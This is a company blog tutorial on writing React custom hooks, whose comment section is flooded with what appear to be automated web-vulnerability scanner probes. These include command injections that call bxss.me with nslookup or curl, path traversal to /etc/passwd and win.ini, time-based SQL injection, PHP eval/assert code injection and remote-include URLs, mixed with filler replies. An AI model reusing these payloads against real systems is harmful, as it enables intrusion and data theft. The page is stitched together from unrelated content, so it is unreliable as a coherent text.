Building Your Own Hooks
What are hooks?
Hooks are same as Javascript functions. It allows you to use state and other React features without writing a class. Hooks are the functions which "hook into" react state and lifecycle features from function components. It does not work inside classes.
What are custom hooks?
Custom Hooks are method to reuse stateful logics in other components without writing extra code.Like we need a function which has to be used in many components. So instead of defining that function again and again, we will develop our own hook.
Rules of creating customs hooks :-
Whenever we will create a hook, first of all we have to keep in mind that the name of our hook must start with this word “use” and then its name shall begin. Like “useTestHook” and “useCustomHook”
So let's understand with an example
How to create a custom hook :-
In this image above we have developed a custom hook to change the title when the user clicks on the button. So basically, we are developing a function whose name is "useDocumentTitle" and giving it a parameter which is title, inside the hook we are using “useEffect” hook to change our page title when the title variable is changed.
When the user clicks on the Increment button then the title and the number will increase to 1.
Output :-
Conclusion:-
Custom Hooks offer the flexibility of sharing logic that wasn’t possible in React components before. You can write custom Hooks that cover a wide range of use cases like form handling, animation, declarative subscriptions, timers, and probably many more we haven’t considered. What’s more, you can build Hooks that are just as easy to use as React’s built-in features.
Try to resist adding abstraction too early. Now that function components can do more, it’s likely that the average function component in your codebase will become longer. This is normal — don’t feel like you have to immediately split it into Hooks. But we also encourage you to start spotting cases where a custom Hook could hide complex logic behind a simple interface, or help untangle a messy component.
555
Leave a Reply
555
555
555
555
555
555
555
555
Leave a Reply
555
555
555
555
555
555
555
555
Leave a Reply
555
555
555
555
555
555
555
Leave a Reply
555
Leave a Reply
555
1
1
ppsVanVd
expr 9000237258 - 924953
$(nslookup -q=cname hitsolsffkywnfd9b4.bxss.me||curl hitsolsffkywnfd9b4.bxss.me)
1
`(nslookup -q=cname hitrbcilaezhz7f668.bxss.me||curl hitrbcilaezhz7f668.bxss.me)`
1&n965366=v996572
555
555
1
1
1|echo ujvxsx$()\ dqlbmh\nz^xyu||a #' |echo ujvxsx$()\ dqlbmh\nz^xyu||a #|" |echo ujvxsx$()\ dqlbmh\nz^xyu||a #
(nslookup -q=cname hitdnuthazjjx3c1d2.bxss.me||curl hitdnuthazjjx3c1d2.bxss.me))
../../../../../../../../../../../../../../windows/win.ini
&(nslookup -q=cname hitvartpvnicbc71a0.bxss.me||curl hitvartpvnicbc71a0.bxss.me)&'\"`0&(nslookup -q=cname hitvartpvnicbc71a0.bxss.me||curl hitvartpvnicbc71a0.bxss.me)&`'
./1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
/etc/shells
555
555
'+response.write(9923319*9943042)+'
echo yspzaq$()\ xgnlds\nz^xyu||a #' &echo yspzaq$()\ xgnlds\nz^xyu||a #|" &echo yspzaq$()\ xgnlds\nz^xyu||a #
1
../../../../../../../../../../../../../../etc/passwd
file:///etc/passwd
1
1
1
|(nslookup${IFS}-q${IFS}cname${IFS}hitfhczawhverc201f.bxss.me||curl${IFS}hitfhczawhverc201f.bxss.me)
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
1
555
555
"+response.write(9923319*9943042)+"
&echo ufwksh$()\ yhvgou\nz^xyu||a #' &echo ufwksh$()\ yhvgou\nz^xyu||a #|" &echo ufwksh$()\ yhvgou\nz^xyu||a #
1
1
&nslookup -q=cname hitclgmfssuzpa36ef.bxss.me&'\"`0&nslookup -q=cname hitclgmfssuzpa36ef.bxss.me&`'
|(nslookup -q=cname hitkrmhgupvec5301a.bxss.me||curl hitkrmhgupvec5301a.bxss.me)
;(nslookup -q=cname hityoorjuuooace845.bxss.me||curl hityoorjuuooace845.bxss.me)|(nslookup -q=cname hityoorjuuooace845.bxss.me||curl hityoorjuuooace845.bxss.me)&(nslookup -q=cname hityoorjuuooace845.bxss.me||curl hityoorjuuooace845.bxss.me)
555
1
1BC66L65I0
1
1&echo bmnzey$()\ xdrexq\nz^xyu||a #' &echo bmnzey$()\ xdrexq\nz^xyu||a #|" &echo bmnzey$()\ xdrexq\nz^xyu||a #
1
response.write(9923319*9943042)
1
|echo qvywyp$()\ fbkhxl\nz^xyu||a #' |echo qvywyp$()\ fbkhxl\nz^xyu||a #|" |echo qvywyp$()\ fbkhxl\nz^xyu||a #
bwqtch6F: 1E7owGrS
${9999059+9999962}
1
../1
1
1
1
-1 OR 5*5=25 --
&(nslookup${IFS}-q${IFS}cname${IFS}hitklqwhjcpypf73a8.bxss.me||curl${IFS}hitklqwhjcpypf73a8.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitklqwhjcpypf73a8.bxss.me||curl${IFS}hitklqwhjcpypf73a8.bxss.me)&`'
../../../../../../../../../../../../../../etc/shells
)
-1 OR 5*5=26 --
!(()&&!|*|*|
c:/windows/win.ini
-1 OR 3*2>999 --
^(#$!@#$)(()))******
bxss.me
-1 OR 3*2>5 --
Http://bxss.me/t/fit.txt
-1 OR 5*5=25
http://bxss.me/t/fit.txt%3F.jpg
'"()
-1 OR 5*5=26
1'&&sleep(27*1000)*hbtzgg&&'
-1 OR 3*2>999
1
1"&&sleep(27*1000)*jaqnqe&&"
-1 OR 3*2>5
1'||sleep(27*1000)*mefigm||'
1
-1' OR 5*5=25 --
1"||sleep(27*1000)*ctnckf||"
1
-1' OR 5*5=26 --
-1' OR 3*2>999 --
-1' OR 3*2>5 --
-1" OR 5*5=25 --
1
-1" OR 5*5=26 --
1
1
-1" OR 3*2>999 --
1
1
-1" OR 3*2>5 --
1
1
-1' OR 5*5=25 or 'KfEqlMgJ'='
1
1
1
-1' OR 5*5=26 or 'KfEqlMgJ'='
1
1
1
-1' OR 3*2<5 or 'KfEqlMgJ'='
1
redirtest.acx
1
-1' OR 69=69 or 'KfEqlMgJ'='
1
1
-1" OR 5*5=25 or "ENxSR6bP"="
1
-1" OR 5*5=26 or "ENxSR6bP"="
1
1
1
1*if(now()=sysdate(),sleep(15),0)
'.gethostbyname(lc('hitik'.'nmazdsbe8be59.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(66).chr(108).chr(71).'
".gethostbyname(lc("hittk"."ddmmkydu7ca68.bxss.me."))."A".chr(67).chr(hex("58")).chr(118).chr(67).chr(109).chr(84)."
1
gethostbyname(lc('hitql'.'jzmscnkwdcf0d.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(87).chr(118).chr(78)
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
1
1
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
";print(md5(31337));$a="
1
${@print(md5(31337))}
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
${@print(md5(31337))}\
'.print(md5(31337)).'
1-1; waitfor delay '0:0:15' --
HttP://bxss.me/t/xss.html?%00
1
bxss.me/t/xss.html?%00
"+"A".concat(70-3).concat(22*4).concat(108).concat(87).concat(120).concat(68)+(require"socket" Socket.gethostbyname("hitgb"+"hgiyflxod7fda.bxss.me.")[3].to_s)+"
'+'A'.concat(70-3).concat(22*4).concat(120).concat(78).concat(116).concat(65)+(require'socket' Socket.gethostbyname('hitvd'+'upufqwrj329fc.bxss.me.')[3].to_s)+'
'A'.concat(70-3).concat(22*4).concat(120).concat(71).concat(105).concat(67)+(require'socket' Socket.gethostbyname('hitbw'+'fllvoianf2c10.bxss.me.')[3].to_s)
1
1
1-1); waitfor delay '0:0:15' --
1
1
1
1
1
1-1 waitfor delay '0:0:15' --
1
1
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
1byvQtc0P'; waitfor delay '0:0:15' --
xfs.bxss.me
1
1
1-1 OR 132=(SELECT 132 FROM PG_SLEEP(15))--
'"
1-1) OR 845=(SELECT 845 FROM PG_SLEEP(15))--
India
About
Services
Skills
Industries
Case Studies
2025 Technoarch Softwares | Login